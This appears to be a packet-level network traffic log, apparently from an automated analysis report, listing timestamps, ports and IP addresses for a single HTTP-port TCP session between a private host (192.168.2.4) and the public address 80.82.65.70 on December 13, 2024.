Dec 13, 2024 08:36:35.002105951 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.002146006 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.002886057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.003031969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.003077030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.003794909 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.003838062 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.003971100 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.004344940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.004690886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.004736900 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.004771948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.004812002 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.005604982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.005655050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.005698919 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.089365005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.089426994 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.089502096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.089535952 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.089740038 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.089785099 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.089839935 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.089875937 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.090663910 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.090794086 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.090831041 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.091552019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.091594934 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.154382944 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.154491901 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.154536963 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.154789925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.154839039 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.154905081 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.154943943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.155740976 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.155788898 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.155858040 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.155988932 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.156657934 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.156701088 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.156764030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.156801939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.157535076 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.157675028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.157716036 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.158401012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.158447027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.158487082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.158524036 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.159267902 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.159308910 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.159497976 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.159662008 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.160212994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.160255909 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.160325050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.160363913 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.161070108 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.161119938 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.161170006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.161429882 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.161912918 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.161955118 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.162046909 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.162085056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.162806988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.162844896 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.162945032 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.162986040 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.163733006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.163780928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.163924932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.163961887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.164664030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.164709091 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.164803028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.164956093 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.165543079 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.165612936 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.165688038 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.165811062 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.166449070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.166480064 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.166547060 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.166644096 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.167289972 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.167330980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.167445898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.167485952 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.168178082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.168215036 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.168279886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.168315887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.169189930 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.169348955 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.169385910 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.169991970 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.170031071 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.170057058 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.170097113 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.170878887 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.170917988 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.170979023 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.171017885 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.171750069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.171788931 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.171850920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.171891928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.172672033 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.172712088 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.172732115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.172769070 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.173582077 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.173623085 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.173645973 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.173688889 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.174454927 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.174571991 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.174608946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.175388098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.175437927 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.175477028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.175513983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.176254988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.176296949 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.176429033 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.176465988 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.177263021 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.177287102 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.177325010 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.178608894 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.178627968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.178653002 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.178673029 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.178930998 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.179027081 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.179064989 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.179836035 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.179874897 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.179917097 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.179964066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.180740118 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.180912018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.180949926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.181602955 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.181642056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.181745052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.181780100 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.182492971 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.182552099 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.182564974 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.182605028 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.183456898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.183496952 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.183499098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.183540106 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.184336901 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.184376001 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.184418917 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.184458017 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.185359955 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.185476065 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.185512066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.186106920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.186168909 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.186232090 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.186268091 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.187030077 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.187068939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.187136889 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.187175035 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.187912941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.187951088 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.187966108 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.188003063 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.188785076 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.188893080 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.188930988 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.189641953 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.189682961 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.189774990 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.189811945 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.190547943 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.190586090 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.190649986 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.190686941 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.191447020 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.191485882 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.191557884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.191597939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.192369938 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.192585945 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.192635059 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.193233967 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.193280935 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.193330050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.193371058 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.194116116 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.194159985 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.194245100 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.194286108 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.195004940 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.195054054 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.195121050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.195161104 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.195905924 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.195951939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.196027040 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.196068048 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.196830034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.196916103 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.196970940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.197693110 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.197745085 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.197773933 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.197813988 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.281280041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.281302929 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.281333923 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.281368971 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.281482935 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.281514883 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.281548023 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.281662941 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.282423019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.282577991 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.282579899 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.282627106 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.283283949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.283329010 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.283390045 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.283432007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.346565962 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.346630096 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.346767902 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.346815109 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.346880913 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.346935987 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.347259998 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.347309113 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.347790956 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.347845078 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.347940922 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.347982883 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.348717928 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.348767042 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.348819017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.348862886 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.349543095 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.349592924 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.349737883 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.349781990 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.350442886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.350501060 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.350635052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.350893974 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.351355076 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.351404905 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.351779938 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.351826906 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.352236032 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.352293968 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.352332115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.352371931 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.353149891 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.353213072 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.353318930 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.353426933 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.354105949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.354151011 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.354208946 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.354258060 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.354964018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.355025053 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.355123997 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.355201006 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.355797052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.355845928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.355922937 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.355969906 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.356775045 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.356823921 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.356825113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.356868029 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.357605934 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.357661009 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.357876062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.357923985 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.358504057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.358577013 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.358607054 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.358676910 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.359404087 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.359452963 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.359453917 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.359494925 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.360290051 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.360408068 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.360456944 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.361212015 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.361255884 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.361310005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.361349106 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.362091064 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.362133026 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.362190008 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.362302065 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.362962961 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.363013983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.363028049 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.363065004 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.363892078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.363940001 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.363972902 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.364016056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.364742041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.365005970 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.365053892 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.365645885 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.365695000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.365751028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.365796089 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.366544962 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.366677999 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.366697073 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.366767883 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.367422104 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.367464066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.367518902 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.367598057 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.368333101 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.368375063 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.368433952 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.368474960 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.369330883 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.369395971 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.369442940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.369442940 CET	49772	80	192.168.2.4	80.82.65.70
